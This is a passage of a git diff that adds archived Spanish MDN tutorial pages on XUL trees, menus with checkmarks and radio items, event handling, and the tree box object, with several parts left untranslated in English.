+<p>También pueden anidarse filas profundamente. Debe recordarse que hay que utilizar el atributo <code><a href="es/XUL/Atributos/container">container</a></code> en las filas que contienen filas hijas. La simple presencia de filas hijas no es suficiente indicación ya que puede haber un contenedor que no contenga hijos pero aún debe ser tratado como contenedor. Por ejemplo, un directorio sin archivos dentro debe ser tratado como contenedor aunque esté vacío.</p>
+
+<h3 id="M.C3.A1s_sobre_las_columnas_del_.C3.A1rbol" name="M.C3.A1s_sobre_las_columnas_del_.C3.A1rbol">Más sobre las columnas del árbol</h3>
+
+<p>Un atributo adicional que puede colocarse al árbol es <code><a href="es/XUL/Atributos/enableColumnDrag">enableColumnDrag</a></code> (habilitar arrastre de columna, note las iniciales en mayúscula). Si se encuentra habilitado el usuario podrá arrastrar los encabezados de columna para reconfigurar el orden de las mismas,</p>
+
+<p>El usuario también querrá cambiar el ancho de las columnas, esto se logra poniendo un elemento <code><a href="es/XUL/Elementos/splitter">splitter</a></code> (divisor) entre cada elemento <code><a href="es/XUL/Elementos/treecol">treecol</a></code>. Aparecerá una pequeña muesca entre cada encabezado de columna, la cual podrá ser arrastrada por el usuario para cambiar el ancho de la columna. Para esconder la muesca puede fijarse en 0 el atributo CSS max-width del divisor, a pesar de lo cual el ancho de la columna seguirá siendo modificable. La hoja de estilos globales proporciona una clase <code>tree-splitter</code>, la cual realiza esto.</p>
+
+<p>Puede establecerse el ancho mínimo y máximo de una columna utilizando las propiedades de estilo <code><a href="es/XUL/Atributos/minwidth">minwidth</a></code> y <code><a href="es/XUL/Atributos/maxwidth">maxwidth</a></code> en el encabezado de la columna.</p>
+
+<p>La columna puede estar oculta de manera predeterminada si se coloca un atributo <code><a href="es/XUL/Atributos/hidden">hidden</a></code> (oculto) con el valor true. El usuario podrá escoger si ve la columna seleccionándola en el menú desplegable que se encuentra al final de la fila encabezado.</p>
+
+<p>Como con todos los elementos, puede utilizarse el atributo <code><a href="es/XUL/Atributos/persist">persist</a></code> (persistir) para almacenar el estado de las columnas entre sesiones. Esto es, una vez que el usuario se decide por una disposición de columnas de su agrado, esta será automáticamente almacenada para la próxima vez. Será necesario guardar un cierto número de atributos como se indica en el siguiente ejemplo:</p>
+
+<h4 id="Ejemplo_2" name="Ejemplo_2">Ejemplo</h4>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_advtrees_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advtrees_2.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;tree enableColumnDrag="true" flex="1"&gt;
+  &lt;treecols&gt;
+    &lt;treecol id="corredor" label="Corredor" flex="2" persist="width ordinal hidden"/&gt;
+    &lt;splitter class="tree-splitter"/&gt;
+    &lt;treecol id="ciudad" label="Ciudad de origen" flex="2" persist="width ordinal hidden"/&gt;
+    &lt;splitter class="tree-splitter"/&gt;
+    &lt;treecol id="horainicio" label="Hora de inicio" flex="1" persist="width ordinal hidden"/&gt;
+    &lt;splitter class="tree-splitter"/&gt;
+    &lt;treecol id="horafin" label="Hora de finalización" flex="1" persist="width ordinal hidden"/&gt;
+  &lt;/treecols&gt;
+
+  &lt;treechildren&gt;
+    &lt;treeitem&gt;
+      &lt;treerow&gt;
+        &lt;treecell label="Joshua Granville"/&gt;
+        &lt;treecell label="Vancouver"/&gt;
+        &lt;treecell label="7:06:00"/&gt;
+        &lt;treecell label="9:10:26"/&gt;
+      &lt;/treerow&gt;
+    &lt;/treeitem&gt;
+    &lt;treeitem&gt;
+      &lt;treerow&gt;
+        &lt;treecell label="Robert Valhalla"/&gt;
+        &lt;treecell label="Seattle"/&gt;
+        &lt;treecell label="7:08:00"/&gt;
+        &lt;treecell label="9:15:51"/&gt;
+      &lt;/treerow&gt;
+    &lt;/treeitem&gt;
+  &lt;/treechildren&gt;
+&lt;/tree&gt;
+</pre>
+
+<p>En este caso deberán marcarse como persistentes tres atributos de las columnas:</p>
+
+<ul>
+ <li>el atributo <code><a href="es/XUL/Atributos/width">width</a></code> para guardar el ancho de las mismas,</li>
+ <li>el atributo <code><a href="es/XUL/Atributos/ordinal">ordinal</a></code> que contiene la posición de la columna,</li>
+ <li>el atributo <code><a href="es/XUL/Atributos/hidden">hidden</a></code> que indica si la columna es visible o no.</li>
+</ul>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Árboles" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Selección_en_un_árbol">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/más_funciones_de_menú/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/más_funciones_de_menú/index.html
new file mode 100644
index 0000000000..2c90a3fdd9
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/más_funciones_de_menú/index.html
@@ -0,0 +1,128 @@
+---
+title: Más funciones de menú
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Más_funciones_de_menú
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - para_revisar
+translation_of: Archive/Mozilla/XUL/Tutorial/More_Menu_Features
+---
+<p>En esta sección, veremos cómo crear submenús y menús con marcas de verificación o <em>checks</em>.</p>
+
+<h3 id="Creando_submen.C3.BAes" name="Creando_submen.C3.BAes">Crear submenús</h3>
+
+<p>Puedes crear submenús dentro de otros menús (menús jerarquizados ) usando los elementos existentes. Recuerda que puedes poner cualquier elemento dentro de un <code>menupopup</code>. Ya hemos visto cómo colocar <code>menuitem</code>s y <code>menuseparator</code>s en <code>menupopup</code>s. Sin embargo , puedes crear submenús simplemente colocando el elemento de <code><a href="/es/XUL/Elementos" title="es/XUL/Elementos">menu</a></code> dentro del elemento del <code><a href="/es/XUL/Elementos" title="es/XUL/Elementos">menupopup</a></code> . Esto funciona porque el elemento del menú es válido aún cuando no esté colocado directamente en la barra de menú. El ejemplo de abajo crea un submenú simple dentro del menú de <strong>File</strong>.</p>
+
+<p><strong>Ejemplo 1</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_1.xul">Ver en funcionamiento</a></p>
+
+<div class="float-right"><img alt="nested-menu.jpg" class="default internal" src="/@api/deki/files/4817/=nested-menu.jpg"></div>
+
+<pre>&lt;toolbox flex="1"&gt;
+  &lt;menubar id="sample-menubar"&gt;
+    &lt;menu id="file-menu" label="Archivo"&gt;
+      &lt;menupopup id="file-popup"&gt;
+        &lt;menu id="new-menu" label="Nuevo"&gt;
+          &lt;menupopup id="new-popup"&gt;
+            &lt;menuitem label="Ventana"/&gt;
+            &lt;menuitem label="Mensage"/&gt;
+          &lt;/menupopup&gt;
+        &lt;/menu&gt;
+        &lt;menuitem label="Abrir"/&gt;
+        &lt;menuitem label="Guardar"/&gt;
+        &lt;menuseparator/&gt;
+        &lt;menuitem label="Salir"/&gt;
+      &lt;/menupopup&gt;
+    &lt;/menu&gt;
+  &lt;/menubar&gt;
+&lt;/toolbox&gt;
+</pre>
+
+<h3 id="Adici.C3.B3n_de_un_men.C3.BA_al_archivo_de_b.C3.BAsqueda_del_ejemplo" name="Adici.C3.B3n_de_un_men.C3.BA_al_archivo_de_b.C3.BAsqueda_del_ejemplo">Adición de un menú a nuestro ejemplo con el Buscador de archivos</h3>
+
+<p>Agreguemos un menú al dialogo de búsqueda de archivos. Agregaremos solo unos pocos comandos simples a un menú <strong>File</strong> y un menú <strong>Edit</strong>. Este es similar al ejemplo de arriba.</p>
+
+<pre class="eval">&lt;toolbox&gt;
+
+ <span class="highlightred">&lt;menubar id="findfiles-menubar"&gt;
+  &lt;menu id="file-menu" label="Archivo" accesskey="f"&gt;
+    &lt;menupopup id="file-popup"&gt;
+      &lt;menuitem label="Abrir la búsqueda..." accesskey="o"/&gt;
+      &lt;menuitem label="Guardar la búsqueda..." accesskey="s"/&gt;
+      &lt;menuseparator/&gt;
+      &lt;menuitem label="Cerrar" accesskey="c"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menu&gt;
+  &lt;menu id="edit-menu" label="Editar" accesskey="e"&gt;
+    &lt;menupopup id="edit-popup"&gt;
+      &lt;menuitem label="Cortar" accesskey="t"/&gt;
+      &lt;menuitem label="Copiar" accesskey="c"/&gt;
+      &lt;menuitem label="Pegar" accesskey="p" disabled="true"/&gt;
+    &lt;/menupopup&gt;
+  &lt;/menu&gt;
+ &lt;/menubar&gt;</span>
+
+&lt;toolbar id="findfiles-toolbar&gt;
+</pre>
+
+<div class="float-right"><img alt="fnd-dlg-sample.jpg" class="default internal" src="/@api/deki/files/4818/=fnd-dlg-sample.jpg"></div>
+
+<p>Aquí hemos agregado dos menús con varios comandos en ellos. Observa cómo la barra de menús fue agregada dentro de la caja. Los tres puntos después de Open y Save son la forma habitual en la que se indica al usuario que se abrirá un dialogo cuando seleccione el comando. Se han agregado claves de acceso para cada menú y elemento de menú. Verás en la imagen que esta letra ha sido subrayada en la etiqueta del menú. Además, el comando Pegar (Paste) ha sido deshabilitado. Asumiremos que no hay nada que pegar.</p>
+
+<p> <strong>Ejemplo de Encontrar archivos </strong> : <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-advmenu.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-advmenu.xul">Ver en funcionamiento</a></p>
+
+<h3 id="A.C3.B1adiendo_casillas_seleccionadas_en_los_men.C3.BAes" name="A.C3.B1adiendo_casillas_seleccionadas_en_los_men.C3.BAes">Añadir marcas de verificación (checkmarks) a los menús</h3>
+
+<p>Muchas aplicaciones tienen elementos de menú que tienen marcas de verificación <em><em>o</em> </em><em>checks</em>. Por ejemplo, una característica que este activada tiene una marca de verificación o <em>check</em> al lado del comando y una característica que está deshabilitada no lo tiene. Cuando el usuario selecciona el menú, cambia el estado de la marca o <em>check</em> (habilitado/deshabilitado). Puedes además agregar botones redondos en los elementos del menú.</p>
+
+<p>Las marcas de verificación o <em>checks </em>se crean de manera similar a los elementos <code><a href="../../../../en/XUL/checkbox" rel="custom nofollow">checkbox</a></code> y <code><a href="../../../../en/XUL/radio" rel="custom nofollow">radio</a></code> . Esto implica el uso de dos atributos: <code><a href="/Es/XUL/Atributos#button.type" title="Es/XUL/Atributos#button.type">type</a></code> para indicar el tipo de  marca o <em>check</em> y <code><a href="/Es/XUL/Atributos#menuitem.name" title="Es/XUL/Atributos#menuitem.name">name</a></code> para agrupar comandos. El ejemplo de abajo crea un menú con una marca de verificación.</p>
+
+<p><strong>Ejemplo 2</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_2.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;toolbox&gt;
+  &lt;menubar id="options-menubar"&gt;
+    &lt;menu id="options_menu" label="Opciones"&gt;
+      &lt;menupopup&gt;
+        &lt;menuitem id="backups" label="Hacer copias de seguridad" type="checkbox"/&gt;
+        &lt;menuitem id="backups" label="Enviar un email al administrador" type="checkbox" checked="true"/&gt;
+      &lt;/menupopup&gt;
+    &lt;/menu&gt;
+  &lt;/menubar&gt;
+&lt;/toolbox&gt;
+</pre>
+
+<p>El atributo <code><a href="/es/XUL/Atributo#button.type" title="es/XUL/Atributo#button.type">type</a></code> se ha agregado con el fin poder marcar o desmarcar un elemento del menú. Al establecer su valor a <code>checkbox</code> , el elemento del menú puede marcarse o desmarcarse seleccionando dicho elemento.</p>
+
+<h4 id="Men.C3.BA_con_botones_de_selecci.C3.B3n" name="Men.C3.BA_con_botones_de_selecci.C3.B3n">Menú con botones circulares</h4>
+
+<p>Además de las marcas estándares, puedes crear <em>checks</em> con estilo circular cambiando el valor de <code><a href="/Es/XUL/Atributos#button.type" title="Es/XUL/Atributos#button.type">type</a></code> a el valor de <code>radio</code>. Un botón circular si usa si se desea agrupar varios elementos del menús pero se puede seleccionar solo uno a la vez. Un ejemplo puede ser a menú de Fuente (font) donde únicamente puede seleccionarse una fuente a la vez. Cuando se selecciona otro elemento, el seleccionado previamente queda deshabilitado.</p>
+
+<p>Con el fin de agrupar un conjunto de elementos del menú, tienes que poner un atributo <code><a href="/Es/XUL/Atributos#menuitem.name" title="Es/XUL/Atributos#menuitem.name">name</a></code> a cada uno. Establece el valor para la misma cadena. El ejemplo siguiente lo muestra:</p>
+
+<p><strong>Ejemplo 3</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_3.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advmenu_3.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;toolbox&gt;
+  &lt;menubar id="planets-menubar"&gt;
+    &lt;menu id="planet-menu" label="Planetas"&gt;
+      &lt;menupopup&gt;
+        &lt;menuitem id="júpiter" label="Júpiter" type="radio" name="ringed"/&gt;
+        &lt;menuitem id="saturno" label="Saturno" type="radio" name="ringed" checked="true"/&gt;
+        &lt;menuitem id="uranus" label="Uranus" type="radio" name="ringed"/&gt;
+        &lt;menuseparator/&gt;
+        &lt;menuitem id="tierra" label="Tierra" type="radio" name="inhabited" checked="true"/&gt;
+        &lt;menuitem id="luna" label="Luna" type="radio" name="inhabited"/&gt;
+      &lt;/menupopup&gt;
+    &lt;/menu&gt;
+  &lt;/menubar&gt;
+&lt;/toolbox&gt;
+</pre>
+
+<p>Si pruebas a hacer este ejemplo, encontrarás que de los tres primeros elementos del menú, solamente se puede seleccionar uno. Se agrupan juntos porque todos tienen el mismo nombre. El último elemento del menú es Earth, aunque es un botón circular, no es parte de este grupo porque tiene un nombre diferente.</p>
+
+<p>Desde luego, los elementos agrupados deben estar dentro del mismo menú. No se deben ubicar cerca unos de otros en el menú, además no tiene mucho sentido que lo estén.</p>
+
+<p>Seguimos con la <a href="/es/Tutorial_de_XUL/Menús_emergentes" title="es/Tutorial_de_XUL/Menúes_emergentes">creación de menús emergentes</a>.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Menús_de_Barras_Simples" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Menús_emergentes">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/más_gestores_de_eventos/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/más_gestores_de_eventos/index.html
new file mode 100644
index 0000000000..d181cbea94
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/más_gestores_de_eventos/index.html
@@ -0,0 +1,168 @@
+---
+title: Más gestores de eventos
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Más_gestores_de_eventos
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Tutorial/More_Event_Handlers
+---
+<p>In this section, the event object is examined and additional events are described.</p>
+
+<h3 id="El_objeto_de_evento" name="El_objeto_de_evento">El objeto de evento</h3>
+
+<p>Each event handler has a single argument which holds an <a href="es/DOM/event">event</a> object. In the attribute form of event listener, this event is an implied argument to the script code which can be refered to using the name 'event'. In the <code><a href="es/DOM/element.addEventListener">addEventListener</a></code> form, the first argument to the listener function will be the event object. The event object has a number of properties which can be examined during an event. The full list can be found in the <a class="external" href="http://xulplanet.com/references/objref/Event.html">referencia al objeto en planeta XUL</a>.</p>
+
+<p>We already saw the event's <code><a href="es/DOM/event.target">target</a></code> property in the last section. It holds a reference to the element where the event occured. A similar property <code><a href="es/DOM/event.currentTarget">currentTarget</a></code> holds the element that is currently having its event listeners handled. In the example below, <code><a href="es/DOM/event.currentTarget">currentTarget</a></code> is always the vbox, whereas <code><a href="es/DOM/event.target">target</a></code> would be the specific element, either the button or checkbox, that was activated. <strong>Ejemplo 1</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_1.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;vbox oncommand="alert(event.currentTarget.tagName);"&gt;
+  &lt;button label="OK"/&gt;
+  &lt;checkbox label="Show images"/&gt;
+&lt;/vbox&gt;
+</pre>
+
+<h4 id="La_evento_de_parada_de_propagaci.C3.B3n" name="La_evento_de_parada_de_propagaci.C3.B3n">La evento de parada de propagación</h4>
+
+<p>Once you handle an event, regardless of where in the propagation the event is, you will likely want to stop the event from being sent to further elements, essentially stopping the capturing or bubbling phases from continuing. Depending on how you attach the event listener to an element, there are different ways of doing this.</p>
+
+<p>Recall that the capturing phase occurs before the bubbling phase, so any capturing listeners will trigger before any bubbling listeners. If a capturing event stops the event propagation, none of the later capturing listeners, nor any of the bubbling listeners will ever receive notification about the events. To stop event propagation, call the event object's <code><a href="es/DOM/event.stopPropagation">stopPropagation</a></code> method, as in the following example.</p>
+
+<p><strong>Ejemplo 2</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_2.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;hbox id="outerbox"&gt;
+  &lt;button id="okbutton" label="OK"/&gt;
+&lt;/hbox&gt;
+
+&lt;script&gt;
+function buttonPressed(event){
+  alert('Button was pressed!');
+}
+
+function boxPressed(event){
+  alert('Box was pressed!');
+  event.stopPropagation();
+}
+
+var button = document.getElementById("okbutton");
+button.addEventListener('command',buttonPressed,true);
+
+var outerbox = document.getElementById("outerbox");
+outerbox.addEventListener('command',boxPressed,true);
+&lt;/script&gt;
+</pre>
+
+<p>Here, an event listener has been added to the button and another event listener has been added to the box. The <code><a href="es/DOM/event.stopPropagation">stopPropagation</a></code> method has been called in the box's listener, so the button's listener never gets called. If this call was removed, both listeners would be called and both alerts would appear.</p>
+
+<h4 id="Prevent_Default_Action" name="Prevent_Default_Action">Prevent Default Action</h4>
+
+<p>If no event handlers have been registered for an event, then after completing the capturing and bubbling phases, the element will handle the event in a default way. What will happen depends on the event and the type of element. For example, the 'popupshowing' event is sent to a popup just before it is displayed. The default action is to display the popup. If the default action is prevented, the popup will not be displayed. The default action can be prevented with the event object's <code><a href="es/DOM/event.preventDefault">preventDefault</a></code> method, as in the example below.</p>
+
+<p><strong>Ejemplo 3</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_3.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_3.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;button label="Tipos" type="menu"&gt;
+  &lt;menupopup onpopupshowing="event.preventDefault();"&gt;
+    &lt;menuitem label="Vidrio"/&gt;
+    &lt;menuitem label="Plástico"/&gt;
+  &lt;/menupopup&gt;
+&lt;/button&gt;
+</pre>
+
+<p>Alternatively, for attribute event listeners, you can just return false from the code. Note that preventing the default action is not the same as stopping event propagation with the <code><a href="es/DOM/event.stopPropagation">stopPropagation</a></code> method. Even if the default action has been prevented, the event will still continue to propagate. Similarly, calling the <code><a href="es/DOM/event.stopPropagation">stopPropagation</a></code> method won't prevent the default action. You must call both methods to stop both from occuring.</p>
+
+<p>Note that once propagation or the default action has been prevented, neither may be re-enabled again for that event.</p>
+
+<p>The following sections list some of the events that may be used. A full list is provided in the <a class="external" href="http://www.xulplanet.com/references/elemref/ref_EventHandlers.html">referencia al gestor de evento en planeta XUL</a>.</p>
+
+<h3 id="Eventos_del_rat.C3.B3n" name="Eventos_del_rat.C3.B3n">Eventos del ratón</h3>
+
+<p>There are several events which can be used to handle mouse specific actions, which are described briefly below:</p>
+
+<dl>
+ <dt>click</dt>
+ <dd>Called when the mouse is pressed and released on an element.</dd>
+</dl>
+
+<dl>
+ <dt>dblclick</dt>
+ <dd>Called when the a mouse button is double clicked.</dd>
+</dl>
+
+<dl>
+ <dt>mousedown</dt>
+ <dd>Called when a mouse button is pressed down on an element. The event handler will be called as soon as a mouse button is pressed, even if it hasn't been released yet.</dd>
+</dl>
+
+<dl>
+ <dt>mouseup</dt>
+ <dd>Called when a mouse button is released on an element.</dd>
+</dl>
+
+<dl>
+ <dt>mouseover</dt>
+ <dd>Called when the mouse pointer is moved onto an element. You could use this to highlight the element, however CSS provides a way to do this automatically so you shouldn't do it with an event. You might, however, want to display some help text on a status bar.</dd>
+</dl>
+
+<dl>
+ <dt>mousemove</dt>
+ <dd>Called when the mouse pointer is moved while over an element. The event may be called many times as the user moves the mouse so you should avoid performing lengthy tasks frorm this handler.</dd>
+</dl>
+
+<dl>
+ <dt>mouseout</dt>
+ <dd>Called when the mouse pointer is moved off of an element. You might then unhighlight the element or remove status text.</dd>
+</dl>
+
+<p>There are also a set of drag related events, which occur when the user holds down a mouse button and drags the mouse around. Those events are described in <a href="es/Drag_and_Drop">Drag and Drop</a>.</p>
+
+<h4 id="Propiedades_del_bot.C3.B3n_del_rat.C3.B3n" name="Propiedades_del_bot.C3.B3n_del_rat.C3.B3n">Propiedades del botón del ratón</h4>
+
+<p>When a mouse button event occurs, a number of additional properties are available to determine which mouse buttons were pressed and the location of the mouse pointer. The event's <code><a href="es/DOM/event.button">button</a></code> property can be used to determine which button was pressed, where possible values are 0 for the left button, 1 for the right button and 2 for the middle button. If you've configured your mouse differently, these values may be different.</p>
+
+<p>The <code><a href="es/DOM/event.detail">detail</a></code> property holds the number of times the button has been clicked quickly in sequence. This allows you to check for single, double or triple clicks. Of course, if you just want to check for double clicks, you can also use the dblclick event instead. The click event will be fired once for the first click, again for the second click, and again for the third click, but the dblclick event will only be fired once for a double click.</p>
+
+<p>The <code><a href="es/DOM/event.button">button</a></code> and <code><a href="es/DOM/event.detail">detail</a></code> properties only apply to the mouse button related events, not mouse movement events. For the mousemove event, for example, both properties will be set to 0.</p>
+
+<h4 id="Propiedades_de_la_posici.C3.B3n_del_rat.C3.B3n" name="Propiedades_de_la_posici.C3.B3n_del_rat.C3.B3n">Propiedades de la posición del ratón</h4>
+
+<p>However, all mouse events will be supplied with properties that hold the coordinates of the mouse position where the event occured. There are two sets of coordinates. The first is the <code><a href="es/DOM/event.screenX">screenX</a></code> and <code><a href="es/DOM/event.screenY">screenY</a></code> properties and are relative to the top left corner of the screen. The second set, <code><a href="es/DOM/event.clientX">clientX</a></code> and <code><a href="es/DOM/event.clientY">clientY</a></code>, are relative to the top left corner of the document. Here is an example which displays the current mouse coordinates:</p>
+
+<p><strong>Ejemplo 4</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_4.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advevents_4.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;script&gt;
+
+function updateMouseCoordinates(event){
+  var text = "X:" + event.clientX + " Y:" + event.clientY;
+  document.getElementById("xy").value = text;
+}
+&lt;/script&gt;
+
+&lt;label id="xy"/&gt;
+&lt;hbox width="400" height="400" onmousemove="updateMouseCoordinates(event);"/&gt;
+</pre>
+
+<p>In this example, the size of the box has been set explicity so the effect is easier to see. The event handler gets the <code><a href="es/DOM/event.clientX">clientX</a></code> and <code><a href="es/DOM/event.clientY">clientY</a></code> properties and creates a string from them. This string is then assigned to the value property of the label. Note that the event argument must be passed to the <code>updateMouseCoordinates</code> function. If you move the mouse quickly across the border of the box, you might notice that the coordinates don't generally stop right at 400. This is because the mousemove events occur at intervals depdending on the speed at which the mouse moves and the mouse is usually moved some distance past the border by the time the next event fires. Obviously, it would be much too inefficient to send a mousemove event for every pixel the mouse is moved.</p>
+
+<h4 id="Element_Relative_Coordinates" name="Element_Relative_Coordinates">Element Relative Coordinates</h4>
+
+<p>You will often want to get the coordinates of an event relative to the element where the element occured rather than the entire window. You can do this by subtracting the element's position from the event position, as in the following code.</p>
+
+<pre>var element = event.target;
+var elementX = event.clientX - element.boxObject.x;
+var elementY = event.clientY - element.boxObject.y;
+</pre>
+
+<p>XUL elements have a box object that can be retrieved using the <code><a href="es/XUL/Propiedades#boxObject">boxObject</a></code> property. We'll learn more about the box object in <a href="es/Tutorial_de_XUL/Objetos_de_caja">una sección más adelante</a>, but it holds information pertaining to how the element is displayed, including the x and y position of the element. In this example code, these coordinates are subtracted from the event coordinates to get the event position relative to the element.</p>
+
+<h3 id="Load_Events" name="Load_Events">Load Events</h3>
+
+<p>The load event is sent to the document (la etiqueta de la <code><a href="es/XUL/Elementos#window">ventana - &lt;code&gt;window</a></code>&lt;/code&gt;) once the XUL file has finished loading and just before the content is displayed. This event is commonly used to initialize fields and perform other tasks that need to be done before the user can use the window. You should use a load event to do these kinds of things as opposed to adding script at the top level outside a function. This is because the XUL elements may not have loaded or fully initialized yet, so some things may not work as expected. To use a load event, place an <code><a href="es/XUL/Atributos#onload">onload</a></code> attribute on the <code><a href="es/XUL/Elementos#window">window</a></code> tag. Call code within the load handler which will initialize the interface as necessary.</p>
+
+<p>There is also an unload event which is called once the window has closed, or in a browser context, when the page is switched to another URL. You can use this event to save any changed information, for example.</p>
+
+<p><br>
+ Next, we'll find out how to add <a href="es/Tutorial_de_XUL/Atajos_de_teclado">atajos de teclado</a>.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Añadiendo_los_gestores_de_eventos" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Atajos_de_teclado">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/objeto_de_caja_de_árbol/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/objeto_de_caja_de_árbol/index.html
new file mode 100644
index 0000000000..d6eaf7a8d9
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/objeto_de_caja_de_árbol/index.html
@@ -0,0 +1,190 @@
+---
+title: Objeto de caja de árbol
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Objeto_de_caja_de_árbol
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Tutorial/Tree_Box_Objects
+---
+<p> </p>
+
+<p>Ésta sección describe el objeto caja del árbol usada para gestionar como un árbol es mostrado.</p>
+
+<h3 id="Sobre_el_objeto_caja_del_.C3.A1rbol" name="Sobre_el_objeto_caja_del_.C3.A1rbol">Sobre el objeto caja del árbol</h3>
+
+<p>Box objects were described in an <a href="es/Tutorial_de_XUL/Objetos_de_caja">sección</a>. The tree box object is a specialized box object used specifically for trees. The tree box implements the <a class="external" href="http://www.xulplanet.com/references/objref/TreeBoxObject.html">TreeBoxObject</a> interface.</p>
+
+<h4 id="Redibujando_el_.C3.A1rbol" name="Redibujando_el_.C3.A1rbol">Redibujando el árbol</h4>
+
+<p>We already saw the <code>rowCountChanged()</code> function of the tree box object in the previous section. It is used to indicate that one or more rows have been added to the tree or removed from the tree. The tree will redraw the affected area. You don't need to call the <code>rowCountChanged()</code> function when a row has simply changed in some way, for example if a cell's label changes. In this case, there are other drawing functions that can be used. The simplest is to call <code>invalidateRow()</code> which will redraw a specific row in the tree. The tree will call the view to get the updated data and update the contents of the tree on screen.</p>
+
+<p>Other redrawing functions are</p>
+
+<ul>
+ <li><code>invalidateCell()</code> to redraw only a single cell</li>
+ <li><code>invalidateColumn()</code> to redraw a column</li>
+ <li><code>invalidateRange()</code> to redraw a range of rows</li>
+ <li><code>invalidate()</code> to redraw the entire tree.</li>
+</ul>
+
+<p>Note that redrawing does not occur until the calling script ends since Mozilla does not redraw in the background.</p>
+
+<h4 id="Desplegando_el_.C3.A1rbol" name="Desplegando_el_.C3.A1rbol">Desplegando el árbol</h4>
+
+<p>You can also scroll the tree using four different methods, similar to those available for <a href="es/Tutorial_de_XUL/Manipulando_listas#Lista_desplegable">listboxes</a>. The <code>scrollToRow()</code> function may be used to scroll to a particular row. Here is a simple example.</p>
+
+<p><strong>Ejemplo 1</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_treeboxobject_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_treeboxobject_1.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;script&gt;
+function doScroll(){
+  var value = document.getElementById("tbox").value;
+  var tree = document.getElementById("thetree");
+
+  var boxobject = tree.boxObject;
+  boxobject.QueryInterface(Components.interfaces.nsITreeBoxObject);
+  boxobject.scrollToRow(value);
+}
+&lt;/script&gt;
+
+&lt;tree id="thetree" rows="4"&gt;
+  &lt;treecols&gt;
+    &lt;treecol id="row" label="Row" primary="true" flex="1"/&gt;
+  &lt;/treecols&gt;
+  &lt;treechildren&gt;
+    &lt;treeitem label="Row 0"/&gt;
+    &lt;treeitem label="Row 1"/&gt;
+    &lt;treeitem label="Row 2"/&gt;
+    &lt;treeitem label="Row 3"/&gt;
+    &lt;treeitem label="Row 4"/&gt;
+    &lt;treeitem label="Row 5"/&gt;
+    &lt;treeitem label="Row 6"/&gt;
+    &lt;treeitem label="Row 7"/&gt;
+    &lt;treeitem label="Row 8"/&gt;
+    &lt;treeitem label="Row 9"/&gt;
+  &lt;/treechildren&gt;
+&lt;/tree&gt;
+
+&lt;hbox align="center"&gt;
+  &lt;label value="Scroll to row:"/&gt;
+  &lt;textbox id="tbox"/&gt;
+  &lt;button label="Scroll" oncommand="doScroll();"/&gt;
+&lt;/hbox&gt;
+</pre>
+
+<p>Note that we use the rows attribute on the <code><a href="es/XUL/Elementos/tree">tree</a></code> to specify that only four rows are displayed at a time. This makes it easier to see how the example works. Also, notice that the first row is 0.</p>
+
